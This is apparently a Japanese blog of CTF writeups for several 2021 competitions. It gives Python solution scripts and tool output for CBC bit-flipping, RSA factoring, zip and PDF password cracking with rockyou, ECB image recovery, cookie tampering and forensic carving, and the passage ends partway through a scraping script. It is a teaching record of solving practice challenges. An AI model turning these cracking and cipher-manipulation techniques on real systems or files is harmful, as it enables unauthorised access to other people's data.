LINE CTF 2021 Writeup

この大会は2021/3/20 9:00(JST)~2021/3/21 9:00(JST)に開催されました。
今回もチームで参戦。結果は200点で297チーム中49位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (WEB)

問題に記載のURLにアクセスしたら、フラグが表示された。

LINECTF{welcome_to_linectf}

babycrypto1 (CRY)

$ nc 35.200.115.41 16001
test Command: bkmYVFb7Ab2XprBQmVT7s4Abm5jHL6dwii7HmWzSUur7LOaa0ZWWhf0kfFXLbuExQNQW+Kq7AnFY614rnMlxRfT4+e7fKB4xQJ1ITbojA14AcY+VhlNZ/ymJ/ElOdyQSzHc8ncGi5XPrMPIN123O/t1hFrQ0jGNJtaSL4r2T024LAIlX414BNSBxWfukXPnNiTYrQ27qMJNJjwEDMoa7rn2ClOlu1cgkoWIyRq1xbESgl/zia/xB7ezP/6ygGWK8
**Cipher oracle**
IV...: YWJjZGVmMDEyMzQ1Njc4OQ==
Message...: YQ==
Ciphertext:YWJjZGVmMDEyMzQ1Njc4Ob9uqp+fqBo8SBWm00miLVs=

Enter your command: bkmYVFb7Ab2XprBQmVT7s4Abm5jHL6dwii7HmWzSUur7LOaa0ZWWhf0kfFXLbuExQNQW+Kq7AnFY614rnMlxRfT4+e7fKB4xQJ1ITbojA14AcY+VhlNZ/ymJ/ElOdyQSzHc8ncGi5XPrMPIN123O/t1hFrQ0jGNJtaSL4r2T024LAIlX414BNSBxWfukXPnNiTYrQ27qMJNJjwEDMoa7rn2ClOlu1cgkoWIyRq1xbESgl/zia/xB7ezP/6ygGWK8
T1k+JaWJbIdLK14ECGNtt9+Jw9UjcdzirjBpEZbBzMRIrQdEjVzrKjPsD7rMu6mxmNrmxZ4qp27XL1Br7Qk1qnMrmOJV9caqxhe940pYzbSHZCMeeXuT07eWnY8/mx/V3bMHFDO4Ku5gSLrOQ9VbVuEmzpFfVP3rtest

サーバの処理概要は以下の通り。

・aes_key: ランダム16バイト文字列
・token: 160バイトランダム文字列をbase64にしたものの先頭160バイト
・token + 'test' のAES-CBC暗号化(iv(ランダム) + enc)を表示(base64)
・iv: base64で入力
・msg: base64で入力
・入力したivでmsgをAES-CBC暗号化して表示(base64)
・以下、繰り返し
 ・tt: コマンド入力(先頭16バイトはiv)
 ・tt2: ttを復号 → 表示
 ・tt2とtoken + 'show'が一致したら、フラグを表示

T: token

0123456789abcdef
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT ^ C 9 --AES--> C10
showPPPPPPPPPPPP ^ C10 --AES--> C11

test commandの表示は192バイトのbase64。16バイトがiv、次の160バイトがtoken、残り16バイトが"test"の暗号。ivでC10, msgで"show"を指定すれば、11ブロック目の暗号を入手できる。
これを元にスクリプトにして実行する。

from base64 import b64decode
from base64 import b64encode
import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('35.200.115.41', 16001))

data = recvuntil(s, '\n').rstrip()
print data
test_ct = b64decode(data.split(': ')[1])

iv = b64encode(test_ct[16*10:16*11])
msg = b64encode('show')

data = recvuntil(s, ': ')
print data + iv
s.sendall(iv + '\n')

data = recvuntil(s, ': ')
print data + msg
s.sendall(msg + '\n')

data = recvuntil(s, '\n').rstrip()
print data
ct11 = b64decode(data.split(':')[1])[16:]

ct = b64encode(test_ct[:16*11] + ct11)
test_ct = b64encode(test_ct)

data = recvuntil(s, ': ')
print data + ct
s.sendall(ct + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '}')
print data

実行結果は以下の通り。

test Command: wxugw/hyLsxPjOenrAL9vQ70GvyXPKOUVb3ByqUscFyCPLdDamKLP8hH1cHKlJF6mdrRibn5gjcM+3l/d28AH6x9c68jhN20MQ1pgnWSMdZjujt7Y54gona4R4E4ObON9+QYWmplrZZFuSzPcDrJBNVdQeiHmqw9SvrJUOUVSKKnCEJQqsD8Luynu5fKB7dHvl/7lK3awmbNhC/uo//ZlU/q0xMF/fLnPPbzG1+jWZhax2Jb5mzKXHjckCSZhSWr
**Cipher oracle**
IV...: T+rTEwX98uc89vMbX6NZmA==
Message...: c2hvdw==
Ciphertext:T+rTEwX98uc89vMbX6NZmH/Y3mVSU+npGRYyjfNkxmU=

Enter your command: wxugw/hyLsxPjOenrAL9vQ70GvyXPKOUVb3ByqUscFyCPLdDamKLP8hH1cHKlJF6mdrRibn5gjcM+3l/d28AH6x9c68jhN20MQ1pgnWSMdZjujt7Y54gona4R4E4ObON9+QYWmplrZZFuSzPcDrJBNVdQeiHmqw9SvrJUOUVSKKnCEJQqsD8Luynu5fKB7dHvl/7lK3awmbNhC/uo//ZlU/q0xMF/fLnPPbzG1+jWZh/2N5lUlPp6RkWMo3zZMZl
0VOipsv3sjGUZ1HyvFhe9FEKJe5YkRlYkiCpyjAPb38EvmMX2E+zqm6RcghrRBkejy2K46l3095tQvjJ/klmDumWps4WJkoSmnMtrOnfdmri1+8IjfLP7WKlqH4r9gHEqdPJRr0JyRtwFdMc9Qgk1xneuic9Mj7kshow
The flag is: LINECTF{warming_up_crypto_YEAH}
LINECTF{warming_up_crypto_YEAH}

babycrypto2 (CRY)

$ nc 35.200.39.68 16002
test Command: q7iDALThVWeTOdhhltJrf4qOsRdvEARRMKo2CtzgMD5HpVZf9Xcm4f9HQgq4rCVM9L2kmX2tQ1JSwhaynRHHQYlfMmK1ALK1OgxBoeSUoJxVPUIWVna9dhDU9+eXALKKWrVBz+q7h4P1etX5aAfspMx6B4kv8LdmOSm++gAqTvdgBNYZfOrP/iQn+4OSDcRgVny1CRVqW2HbqTo709e2WPeP7/n0LGHM9orabta/+cS+L4pBm/bDyiy6uO1ZzbdxrdjypjA9sQYZL2NwrMcNBkeit72kEOBiSBJQFJpN8RImcN0m6vzlXdeejkbCR+ocB5AXIT3tPYdEacV79gdlFQ==
Enter your command: q7iDALThVWeTOdhhltJrf4qOsRdvEARRMKo2CtzgMD5HpVZf9Xcm4f9HQgq4rCVM9L2kmX2tQ1JSwhaynRHHQYlfMmK1ALK1OgxBoeSUoJxVPUIWVna9dhDU9+eXALKKWrVBz+q7h4P1etX5aAfspMx6B4kv8LdmOSm++gAqTvdgBNYZfOrP/iQn+4OSDcRgVny1CRVqW2HbqTo709e2WPeP7/n0LGHM9orabta/+cS+L4pBm/bDyiy6uO1ZzbdxrdjypjA9sQYZL2NwrMcNBkeit72kEOBiSBJQFJpN8RImcN0m6vzlXdeejkbCR+ocB5AXIT3tPYdEacV79gdlFQ==
Command: testZzTosTPcUnBu44roqYGeyIjyJ22OoYp66c67bitZZthoRjCwTC9sW5jOFkVqW7WlMwJqI5Y+eJtxCkY4lkVkX3vzdDSkPtwB1FOrfHWPeGq4jOeprbrqhtcQzRdUsukyF1YdRzzZ8ezm2g82ydjFYcDrkfzk3ZQOzx0CpVulL80HGbwsB6amUMsmmVsC4jULWpg66++vj30B6p/aKGbh
Enter your command:

サーバの処理概要は以下の通り。

・AES_KEY: ランダム16バイト文字列
・TOKEN: 159バイトランダム文字列をbase64にしたもの→212バイト
・PREFIX = 'Command: '
・PREFIX + 'test' + TOKEN のAES-CBC暗号化(iv(ランダム) + enc)を表示(base64)
・以下、繰り返し
 ・tt: コマンド入力(先頭16バイトはiv)
 ・tt2: ttを復号 → 表示
 ・tt2とPREFIX + 'show' + TOKEN が一致したら、フラグを表示

T: token

0123456789abcdef
Command: testTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTT
TPPPPPPPPPPPPPPP

ivを調整するだけで1ブロック目の平文は変更できる。

iv1 ^ pt1 = iv2 ^ pt2

上のようになるようpt1で"test"の部分をpt2で"show"になるようiv2を算出する。
これを元にスクリプトにして実行する。

from base64 import b64decode
from base64 import b64encode
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('35.200.39.68', 16002))

data = recvuntil(s, '\n').rstrip()
print data
test_ct = b64decode(data.split(': ')[1])

ct_body = test_ct[16:]
iv1 = test_ct[:16]
iv2 = iv1[:9] + strxor(strxor('test', 'show'), iv1[9:13]) + iv1[13:]

ct = b64encode(iv2 + ct_body)

data = recvuntil(s, ': ')
print data + ct
s.sendall(ct + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '}')
print data

実行結果は以下の通り。

test Command: K0FUm+tgUeQz1SLEnBfhzrQ3nwbyDB8HmmUP7pUaVNS/u9pTLhQEu1M6E3Ag/V4dS2Eu/DXOWvjNCz1jL+UXICCY//ZxzPzPrOU7Esoxu+wd3KJYCpe8Jms58aGELPHcjjPM5DX7m7LpsoJ3O80yBqACoP/CHvalPd9hJFh8pCf6PKuamG/Kii97Vgtjp63qthSUeQE0IyKqLGOnimqd9fEsCKFCuuvH55xPxM0apu80PRmP3I0w3+uHj4t5Uld66IZi4w5HF5d1dCcfEWQXV6OOFacOZRV4bmcrH+teGEi1lEi4iW2tA2QWmr0GnvBxpl0+NIPJ+CCvMdn2hyEdPA==
Enter your command: K0FUm+tgUeQz0i/YnxfhzrQ3nwbyDB8HmmUP7pUaVNS/u9pTLhQEu1M6E3Ag/V4dS2Eu/DXOWvjNCz1jL+UXICCY//ZxzPzPrOU7Esoxu+wd3KJYCpe8Jms58aGELPHcjjPM5DX7m7LpsoJ3O80yBqACoP/CHvalPd9hJFh8pCf6PKuamG/Kii97Vgtjp63qthSUeQE0IyKqLGOnimqd9fEsCKFCuuvH55xPxM0apu80PRmP3I0w3+uHj4t5Uld66IZi4w5HF5d1dCcfEWQXV6OOFacOZRV4bmcrH+teGEi1lEi4iW2tA2QWmr0GnvBxpl0+NIPJ+CCvMdn2hyEdPA==
Command: showZzTosTPcUnBu44roqYGeyIjyJ22OoYp66c67bitZZthoRjCwTC9sW5jOFkVqW7WlMwJqI5Y+eJtxCkY4lkVkX3vzdDSkPtwB1FOrfHWPeGq4jOeprbrqhtcQzRdUsukyF1YdRzzZ8ezm2g82ydjFYcDrkfzk3ZQOzx0CpVulL80HGbwsB6amUMsmmVsC4jULWpg66++vj30B6p/aKGbh
The flag is: LINECTF{echidna_kawaii_and_crypto_is_difficult}
LINECTF{echidna_kawaii_and_crypto_is_difficult}

babycrypto3 (CRY)

公開鍵を見ると、以下のパラメータになっていることがわかる。

n = 31864103015143373750025799158312253992115354944560440908105912458749205531455987590931871433911971516176954193675507337
e = 65537

nをyafuで素因数分解する。

>yafu-x64.exe "factor(31864103015143373750025799158312253992115354944560440908105912458749205531455987590931871433911971516176954193675507337)" -v -threads 4


03/20/21 14:35:11 v1.34.5 @ SOPHIA, System/Build Info:
Using GMP-ECM 6.3, Powered by GMP 5.1.1
detected       Intel(R) Core(TM) i7-2670QM CPU @ 2.20GHz
detected L1 = 32768 bytes, L2 = 6291456 bytes, CL = 64 bytes
measured cpu frequency ~= 2210.531110
using 20 random witnesses for Rabin-Miller PRP checks

===============================================================
======= Welcome to YAFU (Yet Another Factoring Utility) =======
=======             bbuhrow@gmail.com                   =======
=======     Type help at any time, or quit to quit      =======
===============================================================
cached 78498 primes. pmax = 999983


>> fac: factoring 31864103015143373750025799158312253992115354944560440908105912458749205531455987590931871433911971516176954193675507337
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
rho: x^2 + 3, starting 1000 iterations on C119
rho: x^2 + 2, starting 1000 iterations on C119
rho: x^2 + 1, starting 1000 iterations on C119
pm1: starting B1 = 150K, B2 = gmp-ecm default on C119
fac: setting target pretesting digits to 36.62
fac: sum of completed work is t0.00
fac: work done at B1=2000: 0 curves, max work = 30 curves
fac: 30 more curves at B1=2000 needed to get to t36.62
ecm: 30/30 curves on C119, B1=2K, B2=gmp-ecm default
fac: setting target pretesting digits to 36.62
fac: t15: 1.00
fac: t20: 0.04
fac: sum of completed work is t15.18
fac: work done at B1=11000: 0 curves, max work = 74 curves
fac: 74 more curves at B1=11000 needed to get to t36.62
ecm: 74/74 curves on C119, B1=11K, B2=gmp-ecm default
fac: setting target pretesting digits to 36.62
fac: t15: 7.17
fac: t20: 1.04
fac: t25: 0.05
fac: sum of completed work is t20.24
fac: work done at B1=50000: 0 curves, max work = 214 curves
fac: 214 more curves at B1=50000 needed to get to t36.62
ecm: 214/214 curves on C119, B1=50K, B2=gmp-ecm default, ETA: 0 sec
pm1: starting B1 = 3750K, B2 = gmp-ecm default on C119
fac: setting target pretesting digits to 36.62
fac: t15: 37.74
fac: t20: 11.23
fac: t25: 1.05
fac: t30: 0.07
fac: sum of completed work is t25.33
fac: work done at B1=250000: 0 curves, max work = 430 curves
fac: 430 more curves at B1=250000 needed to get to t36.62
ecm: 430/430 curves on C119, B1=250K, B2=gmp-ecm default, ETA: 2 sec
pm1: starting B1 = 15M, B2 = gmp-ecm default on C119
fac: setting target pretesting digits to 36.62
fac: t15: 123.74
fac: t20: 64.98
fac: t25: 9.65
fac: t30: 1.07
fac: t35: 0.09
fac: sum of completed work is t30.45
fac: work done at B1=1000000: 0 curves, max work = 904 curves
fac: 904 more curves at B1=1000000 needed to get to t36.62
ecm: 904/904 curves on C119, B1=1M, B2=gmp-ecm default, ETA: 5 sec
fac: setting target pretesting digits to 36.62
fac: t15: 425.07
fac: t20: 245.78
fac: t25: 54.85
fac: t30: 8.73
fac: t35: 1.09
fac: t40: 0.11
fac: sum of completed work is t35.56
fac: work done at B1=3000000: 0 curves, max work = 2350 curves
fac: 499 more curves at B1=3000000 needed to get to t36.62
ecm: 461/499 curves on C119, B1=3M, B2=gmp-ecm default, ETA: 9.4 min
ecm: found prp42 factor = 291664785919250248097148750343149685985101

fac: setting target pretesting digits to 24.00
fac: t15: 656.07
fac: t20: 399.78
fac: t25: 96.85
fac: t30: 17.28
fac: t35: 2.53
fac: t40: 0.31
fac: t45: 0.03
fac: sum of completed work is t36.54
pretesting / qs ratio was 136097.68
Total factoring time = 11836.5628 seconds


***factors found***

P42 = 291664785919250248097148750343149685985101
P78 = 109249057662947381148470526527596255527988598887891132224092529799478353198637

ans = 1

素因数分解できたので、あとはそのまま復号する。途中からbase64文字列になっているので、その部分をデコードする。

from Crypto.PublicKey import RSA
from Crypto.Util.number import *

with open('ciphertext.txt', 'rb') as f:
    c = bytes_to_long(f.read())

with open('pub.pem', 'r') as f:
    pub_data = f.read()

pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e

p = 291664785919250248097148750343149685985101
q = 109249057662947381148470526527596255527988598887891132224092529799478353198637
assert p * q == n

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
msg = long_to_bytes(m)
print '[+] msg =', msg

flag = msg.rstrip()[-32:].decode('base64').rstrip()
flag = 'LINECTF{%s}' % flag
print '[*] flag =', flag

実行結果は以下の通り。

[+] msg = `g・ヘヒa・Η・ Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg==

[*] flag = LINECTF{CLOSING THE DISTANCE.}
LINECTF{CLOSING THE DISTANCE.}

Codefest CTF 2020 Writeup

この大会は2021/3/19 21:30(JST)~2021/3/20 21:30(JST)に開催されました。
今回もチームで参戦。結果は1000点で297チーム中99位でした。
自分で解けた問題をWriteupとして書いておきます。

Anime is love (Forensics)

後ろにzipのようなデータが付いているが、先頭1バイトだけ壊れている。先頭1バイトだけ'P'に置き換え切り出す。zipはパスワードがかかっている。

$ fcrackzip -u -D -p dict/rockyou.txt flag.zip


PASSWORD FOUND!!!!: pw == dragonballz
$ unzip -P dragonballz flag.zip
Archive:  flag.zip
  inflating: flag.txt
$ file flag.txt
flag.txt: PDF document, version 1.5
$ mv flag.txt flag.pdf

flag.pdfもパスワードがかかっている。

$ pdfcrack -w dict/rockyou.txt flag.pdf

PDF version 1.5
Security Handler: Standard
V: 2
R: 3
P: -4
Length: 128
Encrypted Metadata: True
FileID: 913b55437f279060de3ce628a75bcb31
U: a6bec5540721787125585728adfcd98928bf4e5e4e758a4164004e56fffa0108
O: 2c0a99521e0c171fc40d8bc4c04a20d47e177bd203f642347e18a68224ef2488
found user-password: 'naruto'

このパスワードでpdfを開くと、フラグが書かれていた。

codefest{y0u_4r3_g00d_4t_m4g1c_byt35}

EnCrypted Bitmap (Crypto 500)

AESで暗号化されているが、bmpなので形式だけ合わせれば読めるかもしれない。他のbmpの形式を付け、まず画像の幅だけ総当たりで探す。

import struct

with open('chall.encrypted.bmp', 'rb') as f:
    enc = f.read()

HEAD = '\x42\x4d\x36\x04\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x28\x00\x00\x00'
HEIGHT = '\x80\x00\x00\x00'
NEXT = '\x01\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc4\x0e\x00\x00\xc4\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'


for w in range(1, 513):
    fname = 'out_w/chall_%03d.bmp' % w
    dec = HEAD
    dec += struct.pack('I', w)
    dec += HEIGHT
    dec += NEXT
    dec += enc[0x36:]
    with open(fname, 'wb') as f:
        f.write(dec)

幅が345の時に読める文字が出てきた。今度は高さを総当たりで探す。

import struct

with open('chall.encrypted.bmp', 'rb') as f:
    enc = f.read()

HEAD = '\x42\x4d\x36\x04\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x28\x00\x00\x00'
NEXT = '\x01\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc4\x0e\x00\x00\xc4\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
WIDTH = 345

for h in range(1, 513):
    fname = 'out_h/chall_%03d.bmp' % h
    dec = HEAD
    dec += struct.pack('I', WIDTH)
    dec += struct.pack('I', h)
    dec += NEXT
    dec += enc[0x36:]
    with open(fname, 'wb') as f:
        f.write(dec)

正確にはわからないが、256の時にはフラグが見えた。
f:id:satou-y:20210327070029j:plain

codefest{ecb_is_unsafe}

RSA 1.0 (Cryptography)

pow(m, e, p*q*r) = c

rの値はわかるので、rをmodulusにした暗号に変える。

c % r = pow(m, e, r)
phi = r - 1

mがrより小さければ、簡単に復号できる。

from Crypto.Util.number import *

n = 750663646847528873168937831391907810647591913965562495296199585082759057318274521553757550724463451891668175905206221877858317290777877060166997790624527965837837993129383290402509996587556406778482067347232022225466937668396768390983554357611376057823852179263682649072729435912583278183812954787442057976301035654942470184201720410477691326653029842426252391647509934740335989269071438620690320401576861478427178128804784352142271832603194431176323445880836139
pq = 80970512687406090889060992576336286518763523653333428346066206717567693624044162491796922556346210471950404967161997779545603412053582932354160368128117099634532601019309976159157713252768640669410333127578132624183514430252557952811102781031315190048386214745340936679285725364013916829276058253922234988379
c = 221975957171552618997196127189899209276336291387640550554967727731818563960555600691881715668156105819191779108737770660990397331961689607338541452069797368288215716485835439777459317512238532636172979397173548812054679237802827275184091619620252887678664409116710340000218841023351238456144820005968602870644031701303645229364391309952172259686888808938835775360009896210855708140351244441167461823250549764537506364091367096196182191704433664638829177854628679
e = 65537

r = n // pq

new_c = c % r
phi = r - 1
d = inverse(e, phi)
m = pow(new_c, d, r)
flag = long_to_bytes(m)
print flag
codefest{p4dding_i5_r3quir3d}

UTCTF 2021 Writeup

この大会は2021/3/13 9:00(JST)~2021/3/15 9:00(JST)に開催されました。
今回もチームで参戦。結果は9040点で697チーム中78位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Beginner)

ルールのところでチェックマークに投票すると、他のチャネルが現れた。
#announcementsチャネルのトピックにフラグが書いてあった。

utflag{welcome_to_utctf}

HTML (Beginner)

HTMLソースのコメントにフラグが書いてあった。

utflag{you_found_me_0123959}

Stringy Things (Beginner)

$ strings calc | grep utflag
utflag{strings_is_op}
utflag{strings_is_op}

Magic Bytes (Beginner)

$ file out.txt
out.txt: PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced
$ mv out.txt out.png

png画像にフラグが書いてあった。
f:id:satou-y:20210325200214p:plain

utflag{file_extensions_mean_nothing}

Run-ELF (Beginner)

$ file run
run: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e29057709baef974009b1e676fd113ed20f1942f, for GNU/Linux 3.2.0, not stripped
$ ./run
utflag{run_run_binary_9312854}
utflag{run_run_binary_9312854}

Cipher Gauntlet (Beginner)

2進数で書かれているので、まずデコードする。2行目がbase64になっているので、base64デコードする。さらに2行目はシーザー暗号になっているので、復号する。

import string

def decrypt_caesar(s, key):
    d = ''
    for c in s:
        if c in string.lowercase:
            index = string.lowercase.index(c)
            index = (index - key) % 26
            d += string.lowercase[index]
        else:
            d += c
    return d

with open('secret.txt', 'r') as f:
    enc = f.read().rstrip()

enc = enc.split(' ')

dec = ''
for c in enc:
    dec += chr(int(c, 2))

pt1 = dec.split('\n')[0]
pt2 = dec.split('\n')[1].decode('base64')

pt2_1 = pt2.split('\n')[0]
pt2_2 = decrypt_caesar(pt2.split('\n')[1], 10)

print pt1
print pt2_1
print pt2_2

最終的な復号結果は以下の通り。

Uh-oh, looks like we have another block of text, with some sort of special encoding. Can you figure out what this encoding is? (hint: if you look carefully, you'll notice that there only characters present are A-Z, a-z, 0-9, and sometimes / and +. See if you can find an encoding that looks like this one.)
New challenge! Can you figure out what's going on here? It looks like the letters are shifted by some constant. (hint: you might want to start looking up Roman people).
congratulations! you have finished the beginner cryptography challenge. here is a flag for all your hard efforts: utflag{now_youre_playing_with_crypto}. you will find that a lot of cryptography is building off this sort of basic knowledge, and it really is not so bad after all. hope you enjoyed the challenge!
utflag{now_youre_playing_with_crypto}

Sizzling Bacon (Beginner)

ベーコン暗号。'u'は'BABAA'なので、小文字を'B'、大文字を'A'とすれば復号できそう。

bacon = {'AAAAA': 'a', 'AAAAB': 'b', 'AAABA': 'c', 'AAABB': 'd', 'AABAA': 'e',
    'AABAB': 'f', 'AABBA': 'g', 'AABBB': 'h', 'ABAAA': 'i', 'ABAAB': 'j',
    'ABABA': 'k', 'ABABB': 'l', 'ABBAA': 'm', 'ABBAB': 'n', 'ABBBA': 'o',
    'ABBBB': 'p', 'BAAAA': 'q', 'BAAAB': 'r', 'BAABA': 's', 'BAABB': 't',
    'BABAA': 'u', 'BABAB': 'v', 'BABBA': 'w', 'BABBB': 'x', 'BBAAA': 'y',
    'BBAAB': 'z'}

enc = 'sSsSSsSSssSSsSsSsSssSSSSSSSssS{SSSsSsSSSsSsSSSsSSsSSssssssSSSSSSSsSSSSSSSSsSSsssSSssSsSSSsSSsSSSSssssSSsssSSsSSsSSSs}'

i = 0
flag = ''
while True:
    if enc[i].lower() == 's':
        part = enc[i:i+5]
        part = part.replace('S', 'A').replace('s', 'B')
        flag += bacon[part]
        i += 5
    else:
        flag += enc[i]
        i += 1
    if i >= len(enc):
        break

print flag
utflag{crispybaconcipher}

Various Vernacular (Beginner)

換字式暗号と推測。quipqiupで復号する。

ciphertext: Hkgxologflutleiaymt xgf Azutgkrftmtf ltmntf ERW wfr ELW wfmtk Rkweq.
plaintext : Provisionsgeschafte von Algeordneten setzen CDU und CSU unter Druck.

同様に調整しながら対応するよう復号する。最終的には暗号 s は平文 l に対応するよう調整して復号できた。

wmysau{foeim_Tfusoli}
  ↓
utflag{nicht_English}
utflag{nicht_English}

Source it! (Web)

HTMLソースを見ると、以下のようなチェックがあることがわかる。

            function checkPassword(form) { 
                password1 = form.password1.value; 
                name = form.name.value;
                var username = "admin";
                var hash = "1bea3a3d4bc3be1149a75b33fb8d82bc"; 
                var hashedPasswd = CryptoJS.MD5(password1);
   
                if (password1 == '') 
                    alert ("Please enter Password"); 
              
                else if (username != name) { 
                    alert ("\nYou lack access privlages...") 
                    return false; 
                }
                     
                else if (hash != hashedPasswd) { 
                    alert ("\nIncorrect password...") 
                    return false; 
                } 
  
                else{ 
                    alert("Access Granted\n" + text) 
                    return true; 
                } 
            } 

ユーザ名は"admin"。パスワードは"1bea3a3d4bc3be1149a75b33fb8d82bc"をmd5逆変換すると、"sherlock"。これでログインすると、フラグが表示された。

utflag{b33n_th3r3_s0uRc3d_th4t}

Cutest Cookie Clicker Rip-Off (Web)

クッキーのhighScoreをHigh scoreを上回るように設定する。ページを更新し、時間切れになるのを待つと、フラグが表示された。

utflag{numnum_cookies_r_yumyum}

Doubly Deleted Data (Forensics)

FTK Imagerで開く。[root]直下を見ると、削除マーク付きでsus_image.imgがあるので、エクスポートする。
今度はsus_image.imgをFTK Imagerで開く。[root]-[hacker]-[.bash_history]をエクスポートし、そのファイルを見てみる。

mkdir secret_hacker_stuff
cd secret_hacker_stuff/
nano flag.txt
echo "utflag{d@t@_never_dis@ppe@rs}" > real_flag.txt
rm real_flag.txt
utflag{d@t@_never_dis@ppe@rs}

Sandwiched (Forensics)

$ binwalk secret.pdf

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PDF document, version: "1.5"
71            0x47            Zlib compressed data, default compression
290           0x122           Zlib compressed data, default compression
6017          0x1781          Unix path: /Type/FontDescriptor/FontName/BAAAAA+LiberationSerif
6252          0x186C          Zlib compressed data, default compression
6550          0x1996          Unix path: /Type/Font/Subtype/TrueType/BaseFont/BAAAAA+LiberationSerif
6907          0x1AFB          Unix path: /S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R>>
7824          0x1E90          JPEG image data, JFIF standard 1.01
37768         0x9388          PDF document, version: "1.5"
37839         0x93CF          Zlib compressed data, default compression
38058         0x94AA          Zlib compressed data, default compression
43785         0xAB09          Unix path: /Type/FontDescriptor/FontName/BAAAAA+LiberationSerif
44020         0xABF4          Zlib compressed data, default compression
44318         0xAD1E          Unix path: /Type/Font/Subtype/TrueType/BaseFont/BAAAAA+LiberationSerif
44675         0xAE83          Unix path: /S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R>>
75536         0x12710         PDF document, version: "1.5"
75607         0x12757         Zlib compressed data, default compression
75826         0x12832         Zlib compressed data, default compression
81553         0x13E91         Unix path: /Type/FontDescriptor/FontName/BAAAAA+LiberationSerif
81788         0x13F7C         Zlib compressed data, default compression
82086         0x140A6         Unix path: /Type/Font/Subtype/TrueType/BaseFont/BAAAAA+LiberationSerif
82443         0x1420B         Unix path: /S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R>>
113304        0x1BA98         PDF document, version: "1.5"
113375        0x1BADF         Zlib compressed data, default compression
113594        0x1BBBA         Zlib compressed data, default compression
119321        0x1D219         Unix path: /Type/FontDescriptor/FontName/BAAAAA+LiberationSerif
119556        0x1D304         Zlib compressed data, default compression
119854        0x1D42E         Unix path: /Type/Font/Subtype/TrueType/BaseFont/BAAAAA+LiberationSerif
120211        0x1D593         Unix path: /S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R>>
151072        0x24E20         PDF document, version: "1.5"
151143        0x24E67         Zlib compressed data, default compression
151362        0x24F42         Zlib compressed data, default compression
157089        0x265A1         Unix path: /Type/FontDescriptor/FontName/BAAAAA+LiberationSerif
157324        0x2668C         Zlib compressed data, default compression
157622        0x267B6         Unix path: /Type/Font/Subtype/TrueType/BaseFont/BAAAAA+LiberationSerif
157979        0x2691B         Unix path: /S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R>>
188841        0x2E1A9         PDF document, version: "1.5"
188912        0x2E1F0         Zlib compressed data, default compression
189131        0x2E2CB         Zlib compressed data, default compression
194858        0x2F92A         Unix path: /Type/FontDescriptor/FontName/BAAAAA+LiberationSerif
195093        0x2FA15         Zlib compressed data, default compression
195391        0x2FB3F         Unix path: /Type/Font/Subtype/TrueType/BaseFont/BAAAAA+LiberationSerif
195748        0x2FCA4         Unix path: /S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R>>

間にJPEGが入っている。foremostで切り出す。

$ foremost secret.pdf
Processing: secret.pdf
|*|

JPGファイルが壊れているが、適当な修復ツールで修復する。
f:id:satou-y:20210325202014j:plain

utflag{file_sandwich_artist}

Small P Problems (Cryptography)

DSAの離散対数問題。pが小さいので、総当たりで秘密鍵を求め、そこから共通鍵を求める。

p = 69691
g = 1001

A = 17016
B = 47643

for sec in range(p):
    if pow(g, sec, p) == A:
        sec_A = sec
        break

shared_key = pow(B, sec_A, p)
flag = 'utflag{%d}' % shared_key
print flag
utflag{53919}

Half-time survey (Beginner)

アンケートに答えたらフラグが表示された。

utflag{thank_you_278672}

vishwaCTF 2021 Writeup

この大会は2021/3/13 19:00(JST)~2021/3/15 7:00(JST)に開催されました。
今回もチームで参戦。結果は747点で400チーム中254位でした。
自分で解けた問題をWriteupとして書いておきます。

Flag Format (Warmup)

問題にフラグが書いてあった。

vishwaCTF{welcome_to_vishwaCTF}

bot not not bot (Web)

page.html~page500.htmlまでリンクがある。この中で意味のあるページは一部。プログラムで確認すると、例えばpage8.htmlに意味のある情報があり、文字とpageが書いてある。pageがインデックスとなると推測できるので、スクリプトにして文字を並び替える。

import requests
import re

url_format = 'https://bot-not-not-bot.vishwactf.com/page%d.html'

pattern = '\<h1\>(.+)\</h1\>\<p\>Useful Page\<br\>(\d+)\</p\>'

